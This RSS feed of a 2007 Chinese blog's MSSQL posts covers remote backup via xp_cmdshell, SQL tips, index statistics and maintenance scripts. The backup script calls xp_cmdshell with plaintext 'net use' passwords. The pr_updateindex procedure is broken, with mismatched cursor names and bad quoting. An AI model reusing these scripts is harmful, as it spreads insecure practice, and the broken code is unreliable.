﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-&lt;font color="red"&gt;JRen&lt;/font&gt;&lt;font color="lightgreen"&gt;大鹏一曰同风起，扶摇直上九万里&lt;/font&gt;-随笔分类-MSSQL</title><link>http://www.blogjava.net/liaojiyong/category/11449.html</link><description /><language>zh-cn</language><lastBuildDate>Sat, 27 Oct 2007 17:54:22 GMT</lastBuildDate><pubDate>Sat, 27 Oct 2007 17:54:22 GMT</pubDate><ttl>60</ttl><item><title>ms sql 远程备份 job(转)</title><link>http://www.blogjava.net/liaojiyong/archive/2007/10/26/155998.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Fri, 26 Oct 2007 00:19:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2007/10/26/155998.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/155998.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2007/10/26/155998.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/155998.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/155998.html</trackback:ping><description><![CDATA[<p>mssql数据库远程备份的job <br />
<br />
<br />
/*在远程机器操作系统的计算机管理里建立一个用户名为dbbackup的用户，密码为1234，同时在那台机器的非系统盘里建一个名为backup的共享文件夹，为了安全另外设置这个文件夹只有这个dbbackup用户可以访问。*/ <br />
<br />
declare @sql varchar(500)<br />
<br />
<br />
select @sql='\\10.2.0.12\backup\dbname'+'_db_'+convert(varchar(10),getdate(),112) +<br />
<br />
<br />
substring(convert(varchar(10),getdate(),108),1,2) +'.bak'<br />
<br />
<br />
exec master..xp_cmdshell 'net use \\10.2.0.12\backup 1234 /user:remotehost\dbbackup'<br />
<br />
<br />
backup database dbname to disk=@sql --备份数据库，这里的10.2.0.12为远程机器的ip，remotehost为远程机器的机器名，dbname为本地sqlserver服务器要备份的数据库<br />
<br />
<br />
go<br />
<br />
<br />
declare @sql varchar(500)<br />
<br />
<br />
select @sql='del '+'\\10.2.0.12\backup\dbname'+'_db_'+convert(varchar(10),dateadd(day,-7,getdate()),112) +<br />
<br />
<br />
substring(convert(varchar(10),dateadd(day,-7,getdate()),108),1,2) +'.bak'<br />
<br />
<br />
exec master..xp_cmdshell @sql --删除7天前的备份，也就是只保留7个最新备份<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
最近我在为公司的框架程序（以数据应用为导向的应用体系）做数据管理模块，这个模块的需求比较简单：备份、恢复和清理日志。我公司的软件基本上以C/S为基本架构，所以数据管理模块中两个主要的功能&#8216;备份与恢复&#8217;都可能会在Client端操作，备份与恢复&#8217;的文件也都有可能存储在client端，因而这个数据管理模块就必须能够实现在远程备份与恢复数据库。 文章的前提阐述完了，就该说说如何具体实现吧。其实都很简单，我想写个远程备份的测试实例<br />
给大家看,就能够很清楚的描述吧！<br />
实例说明：<br />
环境：win2k sqlserver 2K 查询分析器<br />
SQLSERVER服务实例名称:mainserver<br />
需要备份的数据库名称: msdb <br />
本地机器名称（Client端）：david<br />
本地用户:zf 密码：123<br />
本地域名：domain<br />
本地提供备份需求的文件夹:e:\test 第一步: 建立共享文件夹<br />
在程序代码中调用（或者CMD窗口） net share test=e:\test<br />
或者用NetShareAdd这个API<br />
简要说明：<br />
net share : 是WINDOWS内部的网络命令。<br />
作用：建立本地的共享资源，显示当前计算机的共享资源信息。 <span class="Cms791">字串8</span> <br />
语法：参见 net share /? <br />
第二步: 建立共享信用关系<br />
master..xp_cmdshell 'net use \\david\test 123 /user:domain\zf'<br />
简要说明：<br />
1：xp_cmdshell ：是SQLSERVER的扩展存储过程。<br />
作用，以操作系统命令行解释器的方式执行给定的命令字符串，<br />
并以文本行方式返回任何输出。<br />
语法：参见SQLSERVER联机帮助<br />
2:net use : 是WINDOWS内部的网络命令。<br />
作用，将计算机与共享资源连接或断开，或者显示关于计算机<br />
连接的信息。该命令还控制持久网络连接。<br />
语法：参见 net use /? 第三步:备份数据库<br />
backup database msdb to disk='\\david\test\msdb.bak'<br />
这个不需要说明吧，语法参见SQLSERVER联机帮助 第四步: 删除共享文件夹<br />
在程序代码中调用（或者CMD窗口） net share test /delete<br />
或者用NetShareDel这个API<br />
结果:<br />
已处理 1376 页，这些页属于数据库 'msdb' 的文件 'MSDBData'（位于文件 1 上）。 </p>
<p class="Cms791">字串1</p>
<p><br />
已处理 1 页，这些页属于数据库 'msdb' 的文件 'MSDBLog'（位于文件 1 上）。<br />
BACKUP DATABASE 操作成功地处理了 1377 页，花费了 3.653 秒（3.086 MB/秒）。 这样mainserver服务器上的msdb就备份到了david机器的E:\test\msdb.bak文件了，使用起来很简单吧？恢复数据库操作也是一样，只要将第三个步骤的语句改为'restore database msdb from disk='\\david\test\msdb.bak'就可以啦。。你看完了也可以试试呀？！（最简单的测试工具查询分析器 CMD窗口）备注：xp_cmdshell 这个扩展存储过程只能SA级别的用户调用，而且是SQLSERVER的安全隐患之一，许多DBA都喜欢将其删除或者禁用，所以开发人员使用时要倍加小心哦。<br />
文章中的例子只是简要的说明了应如何利用扩展存储过程实现远程备份与恢复，没有涉及安全以及其他方面的考虑，希望读者在代码中自行完善。 <br />
<br />
<br />
go</p>
<img src ="http://www.blogjava.net/liaojiyong/aggbug/155998.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2007-10-26 08:19 <a href="http://www.blogjava.net/liaojiyong/archive/2007/10/26/155998.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL Server SQL语句调优技巧（转）</title><link>http://www.blogjava.net/liaojiyong/archive/2007/04/12/110223.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Thu, 12 Apr 2007 09:25:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2007/04/12/110223.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/110223.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2007/04/12/110223.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/110223.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/110223.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;通过例子和解析计划，本文展示了在Microsoft&nbsp;SQL&nbsp;Server上提高查询效率有效的一些技巧。在编程中有很多小提示和技巧。了解这些技巧可以扩展你在性能优化上的可用机能。在这部分里我们所有的例子都选择使用Microsoft&nbsp;SHOWPLAN_ALL输出，因为它更紧凑并且展示典型的信息。（Sybase的查询计划基本与此相同，可能包含其它...&nbsp;&nbsp;<a href='http://www.blogjava.net/liaojiyong/archive/2007/04/12/110223.html'>阅读全文</a><img src ="http://www.blogjava.net/liaojiyong/aggbug/110223.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2007-04-12 17:25 <a href="http://www.blogjava.net/liaojiyong/archive/2007/04/12/110223.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>几个有意思的SQL查询</title><link>http://www.blogjava.net/liaojiyong/archive/2007/03/23/105863.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Fri, 23 Mar 2007 08:05:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2007/03/23/105863.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/105863.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2007/03/23/105863.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/105863.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/105863.html</trackback:ping><description><![CDATA[<p><font color=#ff0000>/********************************************<br>DROP TABLE tblMaster<br>DROP TABLE tblCopy<br>SELECT * FROM tblMaster<br>SELECT * FROM tblCopy<br>DELETE FROM tblMaster <br>DELETE FROM tblCopy <br>********************************************/<br>--Create Table<br>--创建表</font> <br>CREATE TABLE tblMaster(<br>&nbsp;id int identity(1,1) not null ,<br>&nbsp;details varchar(8000) null<br>)</p>
<p><font color=#ff0000>--Insert Initial Data<br>--插入初始数据</font> <br>INSERT INTO&nbsp; tblMaster(details)<br>&nbsp;SELECT N'A'<br>UNION ALL<br>&nbsp;SELECT N'B'<br>UNION ALL<br>&nbsp;SELECT N'C'<br>UNION ALL<br>&nbsp;SELECT N'测'<br>UNION ALL<br>&nbsp;SELECT N'试'<br>UNION ALL<br>&nbsp;SELECT N'数'<br>UNION ALL<br>&nbsp;SELECT N'据'<br>UNION ALL<br>&nbsp;SELECT N'A'<br>UNION ALL<br>&nbsp;SELECT N'B'<br>UNION ALL<br>&nbsp;SELECT N'测'<br>UNION ALL<br>&nbsp;SELECT N'试'<br>UNION ALL<br>&nbsp;SELECT N'数'<br>UNION ALL<br>&nbsp;SELECT N'据'<br><br><font color=#ff0000>--Copy Table,Exclude Data<br>--复制表，不拷贝数据</font><br>SELECT <br>&nbsp;TOP 0<br>&nbsp;*<br>INTO<br>&nbsp;tblCopy&nbsp;<br>FROM <br>&nbsp;tblMaster<br>WHERE<br>&nbsp;1&lt;&gt;1</p>
<p><font color=#ff0000>--Copy data<br>--拷贝数据</font> <br>INSERT INTO<br>&nbsp;tblCopy(details)<br>SELECT <br>&nbsp;details<br>FROM<br>&nbsp;tblMaster </p>
<p><font color=#ff0000>--Caculate Distance Between Two Days<br>--计算两天之间的时间间隔<br></font>SELECT datediff(day,'2006-12-12','2007-12-12')</p>
<p><font color=#ff0000>--Search From 2th Record and 6th Record<br>--查询从第二条记录到第六条记录</font> <br>SELECT<br>&nbsp; * <br>FROM<br>&nbsp; (<br>&nbsp;&nbsp;SELECT <br>&nbsp;&nbsp;&nbsp;top 5 *<br>&nbsp;&nbsp; FROM&nbsp; (<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SELECT <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;top 6 id,details<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FROM tblMaster <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ORDER BY <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;id&nbsp; asc<br>&nbsp;&nbsp;&nbsp;&nbsp;) a<br>&nbsp;&nbsp;ORDER BY <br>&nbsp;&nbsp;&nbsp;id desc<br>&nbsp;) T <br>ORDER BY <br>&nbsp;id asc</p>
<p><font color=#ff0000>--Choose some Records Random<br>--随机选取几条数据</font> <br>SELECT&nbsp;<br>&nbsp;top&nbsp;3&nbsp;*<br>&nbsp;FROM <br>&nbsp;tblMaster <br>ORDER BY&nbsp; <br>&nbsp;newID()</p>
<p><font color=#ff0000>--Delete Duplicated Data<br>--删除重复数据<br></font>DELETE FROM<br>&nbsp;tblCopy<br>Where&nbsp;<br>&nbsp;id not&nbsp; in(<br>&nbsp;&nbsp;SELECT<br>&nbsp;&nbsp;&nbsp; min(id)<br>&nbsp;&nbsp;FROM<br>&nbsp;&nbsp;&nbsp;tblCopy<br>&nbsp;&nbsp;Group by<br>&nbsp;&nbsp;&nbsp;details<br>&nbsp;) <br><br><font color=#ff0000>--if the value of tblMaster.details ==&nbsp; null then the following clauses have different values <br>--如果details列有null值,那么如下两条语句得到的返回值不等<br></font>SELECT<br>&nbsp;count(*) <br>FROM<br>&nbsp;tblMaster</p>
<p>SELECT <br>&nbsp;count(details)<br>FROM<br>&nbsp;tblMaster<br><br><font style="BACKGROUND-COLOR: #ff0000" color=#ff0000><font style="BACKGROUND-COLOR: #ffffff">--Password Encrypt return 1:equel;return 0:not equel<br>--密码加密 返回1:相等;返回2:不相等</font><font style="BACKGROUND-COLOR: #ffffff"></font><br></font>SELECT&nbsp; pwdcompare('123',pwdencrypt('123'),0)</p>
<img src ="http://www.blogjava.net/liaojiyong/aggbug/105863.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2007-03-23 16:05 <a href="http://www.blogjava.net/liaojiyong/archive/2007/03/23/105863.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用索引和统计特性来提高数据库的查询性能（转）</title><link>http://www.blogjava.net/liaojiyong/archive/2007/03/23/105782.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Fri, 23 Mar 2007 03:31:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2007/03/23/105782.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/105782.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2007/03/23/105782.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/105782.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/105782.html</trackback:ping><description><![CDATA[
		<span class="hui">
				<span class="hui">作者： <font color="blue">TechRepublic.com</font></span>
				<br />
				<span class="hui">Friday, March 5 2004 9:51 AM</span>
				<!-- BEGIN:STORY -->
				<table>
						<tbody>
								<tr>
										<td class="text1">
												<p>
														<b>特别说明：</b>
														<br />在微软的SQL服务器系统中，对数据库查询功能进行适当的优化需要懂得一些基本的查询索引和性能统计方面的知识。熟悉该系统的优化工作是如何实现的将有助于提高决策的正确性。 </p>
												<p>随着你对微软的SQL服务器数据库实现的逐渐熟悉，性能优化的需求也将进一步增加。建立一个真正实现最优查询功能的数据库环境的第一步是要懂得SQL服务器系统的优化器是如何工作的。 </p>
												<p>
														<span class="mdeck">
																<b>索引</b>
														</span>
														<br />虽然对于特定的查询来说，进行查询规划和性能优化可能只需要少量的成本估算与比较，也可以没有成本估算与比较，但是大多数的查询将从实现完全优化的工作中受益。提高查询性能的最有效的方法之一就是创建一个高效率的索引。一个构架良好的索引在执行查询工作的时候可以避免出现扫描整个数据表的情况。 </p>
												<p>在创建索引的时候，SQL服务器系统将自动度量和存储那些与索引列相关的分布状态值相对应的统计信息。这些统计信息常常被优化器用来评估查询的优化策略是否合理。 </p>
												<p>有两种类型的索引：clustered索引和non-clustered索引，根据数据集合的不同，每种类型的索引都有各自独特的优点。 </p>
												<p>clustered索引要求数据表中数据按照顺序存储。因为数据已经排序，所以对于查找一定范围的索引值时clustered 索引是非常有效的。对于查找具有唯一索引值的行信息来说，这种类型的索引性能也优于其他类型的索引。 </p>
												<p>non-clustered索引和教科书中的索引非常相似，索引在一个位置而其数据值却在另外一个位置。对于一个数据值的查询搜索来说，首先搜索non-clustered的索引，找到数据值在数据表中的位置，然后直接从这个位置得到数据。non-clustered 索引对于精确匹配查询是非常有用的。 </p>
												<p>
														<span class="mdeck">
																<b>统计学</b>
														</span>
														<br />作为一种常用的规则，和大多数商业使用需求一样，索引的数量应该尽可能少，以减少与每个查询相关的处理过程。如果要分析和优化查询的性能，首先应该度量和收集数据的统计特性。 </p>
												<p>SQL服务器系统能够维护索引值的数据统计特性。如果对其进行适当的配置，对于非索引值也能够进行统计度量。 </p>
												<p>对于性能优化，数据库管理员应该懂得几个基本的统计概念，这些概念的定义如下： </p>
												<p>
												</p>
										</td>
								</tr>
						</tbody>
						<li>基数：度量在数据集中可以存在多少个唯一值。<br /></li>
						<li>密度：度量在数据集中唯一值的个数。密度通过如下方法得到：给定键值的行数除以数据表的总行数。优化器将忽略高密度的索引。<br /></li>
						<li>选择率：度量对于一个特定的查询将返回查询结果的行数。选择率通过如下方法得到：查询关键字的个数除以查询得到的行数。要计算查询规划的相对成本，优化器需要一个有效的选择率来度量。 
<p>随着列中数据的变化，索引和列统计信息就变得没有用处了，这样将导致优化器在决定如何处理查询时达不到最优性能。因此，根据数据表中数据的变化，SQL服务器系统周期的自动更新这些统计信息。通过对这些数据的采样，这种统计信息的自动更新将使得成本降到最低，而且不需要对全部数据进行分析。 </p><p><span class="mdeck"><b>最佳性能</b></span><br />在一个复杂的数据库表中设计并指定索引是一件非常棘手的任务。幸运的是，SQL服务器系统有一个内置的调节向导来帮助你建立最优的统计和索引集合。要提高数据库的查询性能，可以通过运行向导来提供一个基于脚本的建议列表。 </p><p>对于SQL服务器查询优化器如何工作这一部分懂得越多，你就会知道对于特定的情形为什么只能用向导的建议来实现。但是，对于动态系统来说，最佳的数据库性能分析部分将需要进行周期性地更新。理解查询索引性能中的每个统计度量的真正含义将有助于你在管理决策方面有一个良好的知识基础。</p></li>
				</table>
		</span>
		<br />
		<br />
		<br />
		<br />
		<font size="2">
				<strong>更新索引统计<br />分布页面并不是每次一个记录更新时都要进行更新.在大型数据库中,这会导致巨大的性能损失.因此,当用户初始创建一个空表时,分布页面仍是空的.它仅在发生如下情况时才被更新:<br />1.用户在一个已存在数据表上创建一个索引.<br />2.用户进行了update satatic语句<br />从系统管理员角度来看,用户应该创建一个工具来自动地更新分布页面.自动更新应该至少每周一次,如果数据量每天增加10%以上则应每天一次.<br />因为不可能每天都添加索引,用户需要使用update statistics语句更新分布页面,用以优化SQLserver.</strong>
		</font>
		<p>
		</p>
		<p>
				<b>UPDATE STATISTICS</b>
				<br />在指定的表或索引视图中，对一个或多个统计组（集合）有关键值分发的信息进行更新。若要基于列生成统计，请参见 CREATE STATISTICS。 </p>
		<p>语法<br />UPDATE STATISTICS table | view<br />    [ <br />        index<br />        | ( statistics_name [ ,...n ] )<br />    ] <br />    [    WITH<br />        [ <br />            [ FULLSCAN ]<br />            | SAMPLE number { PERCENT | ROWS } ]<br />            | RESAMPLE<br />        ] <br />        [ [ , ] [ ALL | COLUMNS | INDEX ]<br />        [ [ , ] NORECOMPUTE ] <br />    ] </p>
		<p>参数<br />table | view</p>
		<p>要更新统计的表或索引视图的名称。表名和视图名必须符合标识符的规则。有关更多信息，请参见使用标识符。由于索引名在每个数据库中不唯一，所以必须指定 table 或 view。可选择指定数据库、表或视图所有者。只有在 Microsoft? SQL Server? 2000 企业版中才支持索引视图。</p>
		<p>index</p>
		<p>要更新统计的索引。索引名必须符合标识符的规则。如果未指定 index，则更新指定表或索引视图中的所有索引的分发统计。若要查看索引名和描述的列表，请带表名或视图名执行 sp_helpindex。</p>
		<p>statistics_name</p>
		<p>要更新的统计组（集合）的名称。统计名称必须符合标识符规则。有关生成统计组的更多信息，请参见 CREATE STATISTICS。</p>
		<p>n</p>
		<p>是表示可以指定多个 statistic_name 组的占位符。</p>
		<p>FULLSCAN</p>
		<p>指定应读取 table 或 view 中的所有行以收集统计。FULLSCAN 提供与 SAMPLE 100 PERCENT 相同的行为。FULLSCAN 不能与 SAMPLE 选项一起使用。</p>
		<p>SAMPLE number { PERCENT | ROWS }</p>
		<p>当为较大的表或视图收集统计时，指定要采样的表或索引视图的百分比或行数。number 只允许使用整数，无论它是 PERCENT 还是 ROWS。若要对较大的表或视图使用默认采样行为，请将 SAMPLE number 和 PERCENT 或 ROWS 一起使用。Microsoft SQL Server 将确保值的采样数不低于某一数目，以保证统计有用。如果 PERCENT、ROWS 或 number 选项导致要采样的行数过小，SQL Server 则自动根据表或视图中的现有行数改正采样。</p>
		<p>
		</p>
		<p>说明  默认行为是在目标表或索引视图上进行采样扫描。SQL Server 自动计算所需的样本大小。</p>
		<p>
				<br />RESAMPLE</p>
		<p>指定使用从所有现有统计（包括索引）继承的采样速率来收集统计。如果采样速率导致要采样的行过少，SQL Server 则自动根据表或视图中的现有行数改正采样。</p>
		<p>ALL | COLUMNS | INDEX</p>
		<p>指定 UPDATE STATISTICS 语句是否影响列统计、索引统计或所有现有统计。如果未指定选项，则 UPDATE STATISTICS 语句影响所有的统计。每个 UPDATE STATISTICS 语句只能指定一种类型（ALL、COLUMNS 或 INDEX）。 </p>
		<p>NORECOMPUTE</p>
		<p>指定过期统计不自动重新计算。统计过期与否取决于在索引列上进行的 INSERT、UPDATE 和 DELETE 操作的数量。指定该选项时，将导致 SQL Server 禁用自动统计重建功能。若要还原自动统计重新计算，请重新执行 UPDATE STATISTICS（不要 NORECOMPUTE 选项），或者执行 sp_autostats。</p>
		<p>
		</p>
		<p>重要  禁用自动统计重新计算会导致 SQL Server 查询优化器对于涉及指定表的查询选择非最佳的策略。</p>
		<p>
				<br />注释<br />SQL Server 保留每个索引中关于键值分发的统计，并且使用这些统计来决定查询处理中使用哪个（或哪些）索引。用户可以通过使用 CREATE STATISTICS 语句生成基于非索引列的统计。查询优化依赖于分发步骤的准确性： </p>
		<p>如果索引中的键值有显著变化，请对此索引重新运行 UPDATE STATISTICS。</p>
		<p>
				<br />如果索引列中添加、更改或删除大量数据（即如果键值分发更改），或者用 TRUNCATE TABLE 语句将表截断然后重新填充，请使用 UPDATE STATISTICS。 <br />若要查看统计最近一次更新的时间，请使用 STATS_DATE 函数。</p>
		<p>只有当能够在计算列上创建索引时，才可以在包含这些计算列的表上创建或更新统计。有关在计算列上创建索引的要求和限制的更多信息，请参见 CREATE INDEX。</p>
		<p>权限<br />UPDATE STATISTICS 权限默认授予表或视图的所有者，并且该权限不可转让。</p>
		<p>示例<br />A. 更新单个表的所有统计<br />本示例更新表 authors 上的所有索引分发统计。</p>
		<p>UPDATE STATISTICS authors</p>
		<p>B. 仅更新单一索引的统计<br />本示例仅更新表 authors 的索引 au_id_ind 的分发信息。 </p>
		<p>UPDATE STATISTICS authors au_id_ind</p>
		<p>C. 使用 50% 采样更新特定统计组（集合）的统计<br />本示例首先创建表 authors 中 au_lname 列和 au_fname 列的统计组，然后对其进行更新。</p>
		<p>CREATE STATISTICS anames <br />   ON authors (au_lname, au_fname)<br />   WITH SAMPLE 50 PERCENT<br />GO<br />-- Time passes. The UPDATE STATISTICS statement is then executed.<br />UPDATE STATISTICS authors(anames) <br />   WITH SAMPLE 50 PERCENT<br />GO</p>
		<p>D. 使用 FULLSCAN 和 NORECOMPUTE 更新特定统计组（集合）的统计<br />本示例更新表 authors 中的 anames 统计组（集合），强制对表 authors 中的所有行进行完全扫描，并且关闭该统计组（集合）的自动统计更新。</p>
		<p>UPDATE STATISTICS authors(anames)<br />   WITH FULLSCAN, NORECOMPUTE</p>
		<p>
				<b>sp_updatestats对当前数据库中所有用户定义的表运行 UPDATE STATISTICS</b>。</p>
		<p>语法<br />sp_updatestats [[@resample =] ''resample'']</p>
		<p>返回代码值<br />0（成功）或 1（失败）</p>
		<p>参数<br />[@resample =] ''resample''</p>
		<p>指定 sp_updatestats 将使用 UPDATE STATISTICS 命令的 RESAMPLE 选项。新统计表将继承旧统计表的采样比率。如果未指定 ''resample''，则 sp_updatestats 使用默认采样更新统计表。该参数的数据类型为 varchar(8)，默认值为 ''NO''。</p>
		<p>注释<br />sp_updatestats 会显示表示其进度的消息。完成更新之后，该存储过程将报告已为所有的表更新了统计信息。 </p>
		<p>权限<br />只有 DBO 和 sysadmin 固定服务器角色的成员才能执行该过程。</p>
		<p>示例<br />下例为数据库 pubs 中的表更新统计信息。</p>
		<p>USE pubs<br />EXEC sp_updatestats <br /><br /><br />Sqlserver7 编程技术内幕提供的方法. </p>
		<p>
		</p>
		<p>drop proc pr_updateindex<br />create proc pr_updateindex<br />as<br /> set nocount on <br /> declare get_index_curs cursor <br />  for select name--tablename<br />  from sysobjects --systemtable<br /> where type=''u'' -usertable</p>
		<p> declare @holdtable varchar(30)<br /> declare @message varchar(40)<br /> declare @dynamic varchar(51)</p>
		<p> open getindex_curs<br /> fetch next from getindex_curs into @holdtable<br /> while @@fetch_status=0<br /> begin<br />   select @dynamic=''update statistics ''+@holdtable<br />   select @message=''updating''+@holdtable<br />   exec(@dynamic)<br />  print @message<br />  fetch next from getindex_curs into @holdtable<br />end<br />  close getindex_curs<br /><br /><br /><br /><br /></p>
		<p>Copyright (C) 2003 Cameron Michelis copying and redistribution of this file is permitted provided <br />this notice and the above comments are preserved.<br />*/</p>
		<p>Set quoted_identifier off<br />use master<br />DECLARE @fillfactor varchar(2)<br />DECLARE @tablename varchar(30)<br />DECLARE @tablename_header varchar(75)<br />DECLARE @dataname varchar(30)<br />DECLARE @dataname_header varchar(75)<br />DECLARE datanames_cursor CURSOR FOR SELECT name FROM sysdatabases<br />        WHERE name not in ('master', 'pubs', 'tempdb', 'model', 'northwind')<br />/* Variable Initialization */<br /> select @fillfactor = "0" -- Set Fill factor here<br />     -- Note "0" will use original fillfactor.<br />/* End Variable Initialization */<br />OPEN datanames_cursor</p>
		<p>  FETCH NEXT FROM datanames_cursor INTO @dataname</p>
		<p>  WHILE (@@fetch_status &lt;&gt; -1)<br />    BEGIN<br />      IF (@@fetch_status = -2)<br />        BEGIN<br />  FETCH NEXT FROM datanames_cursor INTO @dataname<br />           CONTINUE<br />        END<br /> SELECT @dataname_header = "Database " + RTRIM(UPPER(@dataname))<br />       PRINT " "<br /> PRINT @dataname_header<br />       PRINT " "<br /> EXEC ("USE " + @dataname + " DECLARE tnames_cursor CURSOR FOR SELECT name from sysobjects where type = 'U'")<br /> Select @dataname_header = RTRIM(UPPER(@dataname))<br /> Exec ("Use " + @dataname) <br /> OPEN tnames_cursor<br />  FETCH NEXT FROM tnames_cursor INTO @tablename<br />  WHILE (@@fetch_status &lt;&gt; -1)<br />          BEGIN<br />             IF (@@fetch_status = -2)            <br />    BEGIN<br />                  FETCH NEXT FROM tnames_cursor INTO @tablename<br />                  CONTINUE<br />               END<br />        SELECT @tablename_header = "  Updating " + RTRIM(UPPER(@tablename))<br />    PRINT ""<br />             PRINT @tablename_header<br />    EXEC ("USE " + @dataname + " DBCC DBREINDEX (" + @tablename + "," + "''" + "," + @fillfactor + ")")<br />    EXEC ("USE " + @dataname + " UPDATE STATISTICS " + @tablename)<br />    FETCH NEXT FROM tnames_cursor INTO @tablename<br />          END<br /> DEALLOCATE tnames_cursor<br />       FETCH NEXT FROM datanames_cursor INTO @dataname<br />      END<br />DEALLOCATE datanames_cursor<br />PRINT ""<br />PRINT " "<br />PRINT "Indexing complete for All User Databases"<br /><br /></p>
		<pre>SET QUOTED_IDENTIFIER OFF

/* Start with master DB */
USE master

/* Create Variables */
DECLARE 	@DBName 	CHAR(64)
DECLARE 	@TableName 	CHAR(64)
DECLARE		@FQTableName	CHAR(64)
DECLARE		@TempVar	CHAR(256)

/* Create DB List */
DECLARE 	DBCursor 	CURSOR FOR
	SELECT		name
		FROM	master..sysdatabases

OPEN		DBCursor

FETCH NEXT
	FROM	DBCursor
	INTO	@DBName

/* Create Database Loop */
WHILE @@FETCH_STATUS = 0
	BEGIN
		/* Retrieve Table List */
		PRINT 'Retrieving Table List for DB ' + @DBName
		
		EXEC ('SELECT name AS TableName INTO ##TableNames FROM [' + @DBName + ']..sysobjects WHERE type = ''U''')		

		/* Open Table List */
		DECLARE		TableCursor 	CURSOR FOR
			SELECT		TableName
				FROM	##TableNames

		OPEN TableCursor
		
		FETCH NEXT
			FROM	TableCursor
			INTO	@TableName
		
		/* Create Table Loop */
		WHILE @@FETCH_STATUS = 0
			BEGIN
				/* Add DB Name to Table Name */
				SELECT @FQTableName = QUOTENAME(RTRIM(@DBName)) + '..' + QUOTENAME(RTRIM(@TableName))
				SELECT @TableName = RTRIM(@DBName) + '..' + RTRIM(@TableName)
				
				/* ReIndex Table */
				PRINT 'ReIndexing Table ' + @TableName
				DBCC DBREINDEX(@TableName)
				
				/* Update Statics on Table */
				PRINT 'Updating Statistics on Table ' + @TableName
				EXEC ('UPDATE STATISTICS ' + @FQTableName)
				
				/* Get Next Table Name */
				FETCH NEXT
					FROM TableCursor
					INTO @TableName
			END
		
		/* Close Table Cursor */
		CLOSE		TableCursor
		DEALLOCATE	TableCursor

		/* Remove Tempory Table */
		DROP TABLE ##TableNames
		
		/* Preform DB Checks */
		PRINT 'Preforming DB Checks on ' + @DBName
		DBCC CHECKDB (@DBName)

		/* Get Next Table Name */
		FETCH NEXT
			FROM DBCursor
			INTO @DBName
	END

/* Close DB Curosor */
CLOSE		DBCursor
DEALLOCATE	DBCursor

/* Finished */
					

</pre>
<img src ="http://www.blogjava.net/liaojiyong/aggbug/105782.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2007-03-23 11:31 <a href="http://www.blogjava.net/liaojiyong/archive/2007/03/23/105782.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>删除数据库中重复记录的SQL语句（转）</title><link>http://www.blogjava.net/liaojiyong/archive/2007/03/20/105039.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Tue, 20 Mar 2007 09:07:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2007/03/20/105039.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/105039.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2007/03/20/105039.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/105039.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/105039.html</trackback:ping><description><![CDATA[
		<div class="cnt">
